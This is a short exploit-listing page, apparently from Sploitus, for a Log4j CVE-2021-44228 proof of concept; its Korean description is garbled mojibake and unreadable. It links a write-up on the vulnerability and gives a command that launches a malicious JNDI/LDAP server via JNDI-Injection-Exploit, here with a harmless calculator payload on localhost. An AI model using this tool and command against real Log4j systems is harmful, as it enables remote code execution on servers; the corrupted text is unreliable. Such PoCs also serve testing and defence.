## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-BADB33F-APACHE-LOG4J-POC
# Apache-Log4j-POC CVE-2021-44228
Apache Log4j LDAP μ‘°ν μ·¨μ½μ μ κ°λ
μ¦λͺ
(PoC)
μ·¨μ½μ μ λν μμΈν λ΄μ©μ μ¬κΈ°μμ νμΈν μ μμ΅λλ€: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
μ
μ± κ°μ²΄λ₯Ό λ°ννλ μ 곡λ LDAP μλ²λ₯Ό μ€ννλ €λ©΄ μ΄λ»κ² ν΄μΌ νλμ?
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
# μΆμ²: https://github.com/welk1n/JNDI-Injection-Exploit